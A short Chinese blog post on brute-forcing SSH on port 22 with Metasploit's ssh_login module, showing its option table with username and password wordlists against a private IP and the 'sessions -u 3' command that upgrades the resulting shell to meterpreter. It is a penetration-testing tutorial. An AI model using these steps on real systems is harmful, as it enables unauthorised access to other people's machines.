

# 暴力破解22端口获取meterpreter



孤独的一颗星

关注

IP属地: 广东

 0.097

2022.08.15 22:24:16

字数 173

阅读 1,626

22端口是ssh远程登陆端口，我们常用ssh登陆远程电脑，在Linux中具体操作如：

```
ssh root@172.17.17.129
```

那么，如何利用22端口进行渗透呢？常用的方法是暴力破解。

metasploit中有暴力破解的模块，名为ssh\_login，需要设置目标ip、用户字典文件、密码字典文件，爆破成功后会在sessions中保留一个Linux shell会话。

Module options (auxiliary/scanner/ssh/ssh\_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE	/tmp/ password.txt	no	File containing passwords, one per line
RHOSTS	172.17.17.129	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	/tmp/ username.txt	no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

msf中配置情况

此时获取的shell会话不等于meterpreter，但shell会话能转换成meterpreter，只需输入如下命令即可：

```
sessions -u 3
```

注意：此处的 3 是shell会话的编号。